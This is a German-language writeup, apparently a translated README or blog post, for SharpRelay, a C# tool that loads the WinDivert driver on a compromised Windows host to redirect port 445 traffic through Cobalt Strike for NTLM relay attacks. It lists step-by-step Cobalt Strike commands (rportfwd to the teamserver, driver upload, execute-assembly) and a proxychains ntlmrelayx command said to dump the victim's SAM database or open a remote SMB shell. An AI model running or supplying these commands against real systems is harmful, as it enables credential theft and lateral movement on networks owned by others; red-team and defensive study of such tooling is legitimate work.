
C#-Tool, das den WinDivert-Treiber nutzt, um den Windows-Port-445-Verkehr für NTLM-Relay-Angriffe über Cobalt Strike abzufangen und umzuleiten, was laterale Bewegung und das Abgreifen von Anmeldedaten in Red-Team-Operationen ermöglicht.
Die einzige Voraussetzung für diese Attacke ist ein Beacon mit lokalen Administratorrechten oder der Fähigkeit, Treiber zu laden. Die Attacke mit SharpRelay funktioniert wie folgt:
rportfwd ausführen, um Port 8445 des kompromittierten Systems auf Port 445 unseres Teamservers weiterzuleitenDie folgenden Beispielbefehle können in Cobalt Strike ausgeführt werden, um diese Aktionen durchzuführen:
socks 4444
rportfwd 8445 127.0.0.1 445
cd C:\Users\victim
upload /root/Desktop/intercept.sys
execute-assembly /root/Desktop/SharpRelay.exe fakeservice C:\Users\victim\intercept.sys 445 8445
Wenn alle oben genannten Schritte erfolgreich ausgeführt wurden, müssen Sie Ihren Relay-Server starten (konfigurieren Sie proxychains auf den in den obigen Befehlen angegebenen Port, z. B. 4444):
proxychains ntlmrelayx.py -t smb://<VICTIM-IP> -smb2support
Der obige Befehl extrahiert die SAM-Datenbank vom Opferhost. Es ist auch möglich, eine interaktive SMB-Shell zu erhalten und Befehle aus der Ferne auf dem Opfer auszuführen.
SharpRelay wurde unter Win10 x64 getestet.
Wenn Sie das Tool aus dem Quellcode erstellen möchten, gehen Sie wie folgt vor:
Das Repository klonen
Stellen Sie sicher, dass Sie alle NuGet-Pakete auf der Registerkarte "Installed" sehen, indem Sie in Visual Studio Projekt -> NuGet-Pakete verwalten öffnen
Das Projekt erstellen
Die obigen Anweisungen wurden mit Visual Studio 2019 getestet.
SharpRelay basiert auf dem WinDivert-Treiber. Laut dessen Beschreibung ist WinDivert ein Kernel-Treiber, der das Abfangen und Modifizieren von Paketen im Benutzermodus ermöglicht. Der Benutzer muss einen Filter angeben, und alle Pakete, die diesem Filter entsprechen, werden abgefangen und können modifiziert werden.
Aus der ReadMe-Datei:
The WinDivert.sys driver is installed below the Windows network stack. The
following actions occur:
(1) A new packet enters the network stack and is intercepted by WinDivert.sys
(2a) If the packet matches the PROGRAM-defined filter, it is diverted. The
PROGRAM can then read the packet using a call to WinDivertRecv().
(2b) If the packet does not match the filter, the packet continues as normal.
(3) PROGRAM either drops, modifies, or re-injects the packet. PROGRAM can
re-inject the (modified) using a call to WinDivertSend().
Für uns ist das Wichtigste, was WinDivert uns ermöglicht, dass wir den Datenverkehr, der zu einem offenen Windows-Port geht, abfangen und auf einen anderen Port umleiten können, indem wir die TCP-Quell- und Zielports jedes Pakets ändern, die TCP-Prüfsummen neu berechnen und die Pakete wieder in den Netzwerkstapel einspeisen.
Unter Windows läuft Port 445 standardmäßig immer. Ich werde nicht ins Detail gehen, welcher Prozess Port 445 verwendet, da dies bereits im folgenden Beitrag analysiert wurde. Bitte lesen Sie ihn daher:
Der obige Beitrag enthält auch eine weitere interessante Idee: die Verwendung von WinDivert zur Durchführung eines SMB-Relay-Angriffs über Metasploit. Sie können mehrere DLLs und eine Treiberdatei zusammen mit der divertTCPconn.exe auf das Zielsystem hochladen und ausführen. Ich fand diesen Angriff großartig, aber was mir nicht gefiel, war, dass man mehrere DLLs auf das Zielsystem hochladen musste.
Mein Ziel war es also, denselben Angriff durchzuführen, indem ich die minimale Anzahl von Dateien auf der Festplatte ablege und den Angriff über Cobalt Strike ausführe.
Zunächst wollte ich die execute-assembly-Funktion von Cobalt Strike nutzen, also entschied ich mich, meinen Code mit dem .NET-Framework zu schreiben. Mein ursprünglicher Gedanke war, divertTCPconn in C# neu zu schreiben, dann würde alles funktionieren. Es stellte sich heraus, dass dies sehr kompliziert war. Glücklicherweise fand ich das folgende NuGet-Paket von TechnikEmpire:
Mit WinDivertSharp war ich in der Lage, SharpRelay zu schreiben, um den Treiber durch das Erstellen eines Dienstes zu laden und mit dem WinDivert-Treiber zu kommunizieren, um alle erforderlichen Paketmodifikationen durchzuführen.